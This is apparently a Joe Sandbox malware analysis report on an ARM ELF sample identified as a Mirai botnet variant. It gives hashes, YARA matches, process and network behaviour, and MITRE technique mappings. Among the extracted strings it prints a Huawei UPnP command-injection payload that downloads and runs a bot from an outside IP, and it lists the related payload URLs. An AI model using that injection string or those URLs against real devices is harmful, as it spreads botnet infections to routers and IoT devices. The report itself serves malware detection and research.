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Linux Analysis Report
efea6.elf

Overview

General Information

Sample name:	efea6.elf
Analysis ID:	1649621
MD5:	c0da7773a7360c7384a98e1fd5d3370c
SHA1:	9038f3443266dd3983d7675580eb3fd8b5c4ad64
SHA256:	95ba728fbf12935776ec318f88b0284d1277f6810ef6fd9c242bd7805f171df8
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649621
Start date and time:	2025-03-27 00:13:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	efea6.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@0/0

Warnings

VT rate limit hit for: http://176.65.134.201/bejv86
VT rate limit hit for: http://176.65.134.201/efefa7;chmod
VT rate limit hit for: http://176.65.134.201/jfeeps
VT rate limit hit for: http://176.65.134.201/jfeeps;

Runtime Messages

Command:	/tmp/efea6.elf
PID:	6222
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

efea6.elf (PID: 6222, Parent: 6146, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/efea6.elf

dash New Fork (PID: 6297, Parent: 4332)

rm (PID: 6297, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.FzPdCenm52 /tmp/tmp.6pI5PzPmuI /tmp/tmp.21vCcuDX6x

dash New Fork (PID: 6298, Parent: 4332)

rm (PID: 6298, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.FzPdCenm52 /tmp/tmp.6pI5PzPmuI /tmp/tmp.21vCcuDX6x

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author
efea6.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
efea6.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
efea6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6222.1.00007f5938017000.00007f5938045000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6222.1.00007f5938017000.00007f5938045000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
6222.1.00007f5938017000.00007f5938045000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6222.1.00007f5938017000.00007f5938045000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x299a5:$x2: /bin/busybox chmod 777 * /tmp/ 0x29714:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: efea6.elf PID: 6222	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: efea6.elf PID: 6222	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Click to see the 1 entries

String: /lib/systemd//usr/lib/systemd/system/system/bin//gm/bin//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/bin//tmp/var/mnt/root/boot/home/dev/media/opt/../(deleted)x86armmipsmpslsh4wgetcurllynxftpftpgettftpscpaflaaarsyncpfclamscanreadelfizsnapstracelsofgdbpmapltraceptracewiresharktsharktcpdumpnetstatssnmaphping3tracerouteiptablesnftfirewalldauditctlselinuxapparmoraptdnfyumzypperpacmanemergebrewportnanovimvinvimgeditkateemacspkillkillallkillsystemctlnohuppythonpython3perlrubyluanodebashshkshzshfishvolatilitychkrootkitrkhunterradare2binwalkdockerpodmanlxcqemuvirshvboxmanagemountumountdfdulsblkblkidmkfsfdiskpartedobjdumpstringsxxdhexdumpncnetcatsocatjournalctldmesglogcattaillessgrepawksedtmux%s/%s/data/local/tmp/sbin/dev/null/dev/console/var/lib/dockerkworker/u8:0raw.awaken-network.net/proc/self/cmdline/proc/%d/statusName:-

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219

Source: efea6.elf	String found in binary or memory: http://176.65.134.201/bejv86
Source: efea6.elf	String found in binary or memory: http://176.65.134.201/efefa7;chmod
Source: efea6.elf	String found in binary or memory: http://176.65.134.201/jfeeps
Source: efea6.elf	String found in binary or memory: http://176.65.134.201/jfeeps;
Source: efea6.elf	String found in binary or memory: http://176.65.134.201/rrrdsl;chmod
Source: efea6.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: efea6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: efea6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 39246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39246
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 6222.1.00007f5938017000.00007f5938045000.r-x.sdmp, type: MEMORY

Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 176.65.134.201 -l /tmp/.aqua -r jfeeps; /bin/busybox chmod 777 * /tmp/.aqua; /tmp/.aqua huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: 6222.1.00007f5938017000.00007f5938045000.r-x.sdmp, type: MEMORY

Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal88.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6297)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.FzPdCenm52 /tmp/tmp.6pI5PzPmuI /tmp/tmp.21vCcuDX6x			Jump to behavior
Source: /usr/bin/dash (PID: 6298)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.FzPdCenm52 /tmp/tmp.6pI5PzPmuI /tmp/tmp.21vCcuDX6x			Jump to behavior

Source: /tmp/efea6.elf (PID: 6222)

Queries kernel information via 'uname':

Jump to behavior

Source: efea6.elf, 6222.1.00007ffe2d58c000.00007ffe2d5ad000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/efea6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/efea6.elf
Source: efea6.elf	Binary or memory string: /lib/systemd//usr/lib/systemd/system/system/bin//gm/bin//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/bin//tmp/var/mnt/root/boot/home/dev/media/opt/../(deleted)x86armmipsmpslsh4wgetcurllynxftpftpgettftpscpaflaaarsyncpfclamscanreadelfizsnapstracelsofgdbpmapltraceptracewiresharktsharktcpdumpnetstatssnmaphping3tracerouteiptablesnftfirewalldauditctlselinuxapparmoraptdnfyumzypperpacmanemergebrewportnanovimvinvimgeditkateemacspkillkillallkillsystemctlnohuppythonpython3perlrubyluanodebashshkshzshfishvolatilitychkrootkitrkhunterradare2binwalkdockerpodmanlxcqemuvirshvboxmanagemountumountdfdulsblkblkidmkfsfdiskpartedobjdumpstringsxxdhexdumpncnetcatsocatjournalctldmesglogcattaillessgrepawksedtmux%s/%s/data/local/tmp/sbin/dev/null/dev/console/var/lib/dockerkworker/u8:0raw.awaken-network.net/proc/self/cmdline/proc/%d/statusName:-
Source: efea6.elf, 6222.1.00005649af656000.00005649af784000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: efea6.elf, 6222.1.00005649af656000.00005649af784000.rw-.sdmp	Binary or memory string: IV!/etc/qemu-binfmt/arm
Source: efea6.elf, 6222.1.00007ffe2d58c000.00007ffe2d5ad000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: efea6.elf, 6222.1.00007ffe2d58c000.00007ffe2d5ad000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: efea6.elf, type: SAMPLE
Source: Yara match	File source: 6222.1.00007f5938017000.00007f5938045000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: efea6.elf PID: 6222, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: efea6.elf, type: SAMPLE
Source: Yara match	File source: 6222.1.00007f5938017000.00007f5938045000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: efea6.elf PID: 6222, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
efea6.elf	59%	Virustotal		Browse
efea6.elf	61%	ReversingLabs	Linux.Trojan.Mirai
efea6.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Name	Source	Malicious	Reputation
http://176.65.134.201/jfeeps	efea6.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	efea6.elf	false	high
http://176.65.134.201/efefa7;chmod	efea6.elf	false	unknown
http://176.65.134.201/bejv86	efea6.elf	false	unknown
http://176.65.134.201/jfeeps;	efea6.elf	false	unknown
http://purenetworks.com/HNAP1/	efea6.elf	false	high
http://176.65.134.201/rrrdsl;chmod	efea6.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	efea6.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	xWgJI0PtLZ.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	efefa7.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	rjfe686.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	eehah4.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
91.189.91.42	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	rjfe686.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	eehah4.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	rjfe686.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	eehah4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	rjfe686.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	eehah4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
INIT7CH	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	rjfe686.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	mpsl.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	.i.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	eehah4.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
AMAZON-02US	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	https://www.bing.com/ck/a?!&&p=4bc123521bd053746ce6213fb7efb9db6bd547d194d9f27180003c09ab9dfa29JmltdHM9MTc0Mjc3NDQwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly9iaW9tZWRzdGF0LmNvbS5ici9jYXRlZ29yeS9jYWxjdWxvLWFtb3N0cmFsLw&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	3.168.73.40
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	xWgJI0PtLZ.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	arm.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	108.138.106.121
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	jfeeps.elf	Get hash	malicious	Unknown	Browse	34.243.160.129
	efefa7.elf	Get hash	malicious	Mirai	Browse	54.171.230.55

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.766157565048225
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	efea6.elf
File size:	206'460 bytes
MD5:	c0da7773a7360c7384a98e1fd5d3370c
SHA1:	9038f3443266dd3983d7675580eb3fd8b5c4ad64
SHA256:	95ba728fbf12935776ec318f88b0284d1277f6810ef6fd9c242bd7805f171df8
SHA512:	46d261b8d587fa28f3f40cd4349cc10af7acc06b4e22ae955a88ea237bc9862988ade531a1a137c191c631b3e786ac15d07161478d31554486e5ce226e9813c2
SSDEEP:	3072:AJhpj0evtQDMdTIIx7YX7EJq+XyblKVua/l4jPzm33o8HBazmx:avj0skBEhXClKcauXm3HHBGi
TLSH:	1F14F856B8819F15C5D412BAFE1E428E33271B78E2EF72029D246F2477CA86F0E3B515
File Content Preview:	.ELF..............(.....T...4...t$......4. ...(......................................................H..............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..#............-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	205940
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x286a8	0x0	0x6	AX	16
.fini	PROGBITS	0x30758	0x28758	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x30768	0x28768	0x5398	0x0	0x2	A	8
.init_array	INIT_ARRAY	0x3db04	0x2db08	0x8	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x3db0c	0x2db10	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x3db14	0x2db18	0x78	0x0	0x3	WA	4
.got	PROGBITS	0x3db8c	0x2db90	0x11c	0x4	0x3	WA	4
.data	PROGBITS	0x3dcc0	0x2dcc4	0x4734	0x0	0x3	WA	32
.bss	NOBITS	0x423f8	0x323f8	0xcb20	0x0	0x3	WA	8
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x323f8	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x32408	0x6a	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x2db00	0x2db00	6.0915	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x2db04	0x3db04	0x3db00	0x48f4	0x11414	0.5953	0x6	RW	0x8000	.init_array .fini_array .data.rel.ro .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 11
• 443 (HTTPS)
• 80 (HTTP)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2025 00:14:04.349960089 CET	43928	443	192.168.2.23	91.189.91.42
Mar 27, 2025 00:14:09.981215954 CET	42836	443	192.168.2.23	91.189.91.43
Mar 27, 2025 00:14:11.517065048 CET	42516	80	192.168.2.23	109.202.202.202
Mar 27, 2025 00:14:24.571171045 CET	43928	443	192.168.2.23	91.189.91.42
Mar 27, 2025 00:14:27.018565893 CET	39246	443	192.168.2.23	34.249.145.219
Mar 27, 2025 00:14:27.018604040 CET	443	39246	34.249.145.219	192.168.2.23
Mar 27, 2025 00:14:27.018747091 CET	39246	443	192.168.2.23	34.249.145.219
Mar 27, 2025 00:14:27.019335032 CET	39246	443	192.168.2.23	34.249.145.219
Mar 27, 2025 00:14:27.019345999 CET	443	39246	34.249.145.219	192.168.2.23
Mar 27, 2025 00:14:36.857645988 CET	42836	443	192.168.2.23	91.189.91.43
Mar 27, 2025 00:14:40.952867031 CET	42516	80	192.168.2.23	109.202.202.202
Mar 27, 2025 00:15:05.525630951 CET	43928	443	192.168.2.23	91.189.91.42
Mar 27, 2025 00:15:27.011373997 CET	39246	443	192.168.2.23	34.249.145.219
Mar 27, 2025 00:15:27.052275896 CET	443	39246	34.249.145.219	192.168.2.23
Mar 27, 2025 00:16:09.408220053 CET	443	39246	34.249.145.219	192.168.2.23

System Behavior

Analysis Process: efea6.elf PID: 6222, Parent PID: 6146

General

Start time (UTC):	23:14:04
Start date (UTC):	26/03/2025
Path:	/tmp/efea6.elf
Arguments:	/tmp/efea6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:15:25
Start date (UTC):	26/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	23:15:25
Start date (UTC):	26/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.FzPdCenm52 /tmp/tmp.6pI5PzPmuI /tmp/tmp.21vCcuDX6x
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	23:15:25
Start date (UTC):	26/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	23:15:25
Start date (UTC):	26/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.FzPdCenm52 /tmp/tmp.6pI5PzPmuI /tmp/tmp.21vCcuDX6x
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Source: efea6.elf	Virustotal: Detection: 59%			Perma Link
Source: efea6.elf	ReversingLabs: Detection: 61%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report efea6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: efea6.elf PID: 6222, Parent PID: 6146

General

File Activities

File Opened

File Read

Process Activities

Signal Sent

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 6297, Parent PID: 4332

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6297, Parent PID: 4332

General

File Activities

Linux Analysis Report
efea6.elf